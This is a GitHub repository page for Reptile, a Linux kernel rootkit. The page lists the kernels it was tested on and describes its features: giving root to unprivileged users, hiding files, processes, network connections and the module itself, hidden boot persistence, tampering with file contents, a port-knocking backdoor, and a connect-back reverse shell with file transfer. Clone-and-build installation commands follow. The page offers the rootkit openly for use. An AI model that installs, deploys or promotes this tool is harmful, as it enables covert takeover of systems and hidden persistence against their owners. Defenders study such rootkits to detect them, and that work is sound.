Go to file
Ighor Augusto 1e17bc82ea
Merge pull request #88 from MaxXor/memory-leaks
Fix memory leaks on failure
2020-06-27 13:24:35 -03:00
configs configuring start script and fixing 2020-03-12 00:11:08 -03:00
kernel configuring start script and fixing 2020-03-12 00:11:08 -03:00
scripts configuring start script and fixing 2020-03-12 00:11:08 -03:00
userland Fix memory leaks on failure 2020-06-03 10:32:45 +02:00
.gitignore Fixing khook and checksum bug; add support to libreadline in client 2020-02-14 23:27:47 -03:00
Kconfig configuring start script and fixing 2020-03-12 00:11:08 -03:00
Makefile Defining PWD 2020-03-02 09:19:42 -03:00
README.md Update README.md 2020-03-01 20:09:22 -03:00



Tested on

Debian 9: 4.9.0-8-amd64
Debian 10: 4.19.0-8-amd64
Ubuntu 18.04.1 LTS: 4.15.0-38-generic
Kali Linux: 4.18.0-kali2-amd64
Centos 6.10: 2.6.32-754.6.3.el6.x86_64
Centos 7: 3.10.0-862.3.2.el7.x86_64
Centos 8: 4.18.0-147.5.1.el8_1.x86_64


  • Give root to unprivileged users
  • Hide files and directories
  • Hide processes
  • Hide himself
  • Hide TCP/UDP connections
  • Hidden boot persistence
  • File content tampering
  • Some obfuscation techniques
  • ICMP/UDP/TCP port-knocking backdoor
  • Full TTY/PTY shell with file transfer
  • Client to handle Reptile Shell
  • Shell connect back each X times (not default)


apt install build-essential libncurses-dev linux-headers-$(uname -r)
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make menuconfig           # or 'make config' or even 'make defconfig'
make install

More details about the installation see Wiki


When you got a sucessfully installation, the way to remove that will be shown in the screen


See Wiki to usage details. So, read the fucking manual before opening an issue!


Some functions of this module is based on another rootkits. Please see the references!



Special thanks to my friend Ilya V. Matveychikov for the KHOOK framework and kmatryoshka loader.


If you wanna more information, send me an e-mail: f0rb1dd3n@tuta.io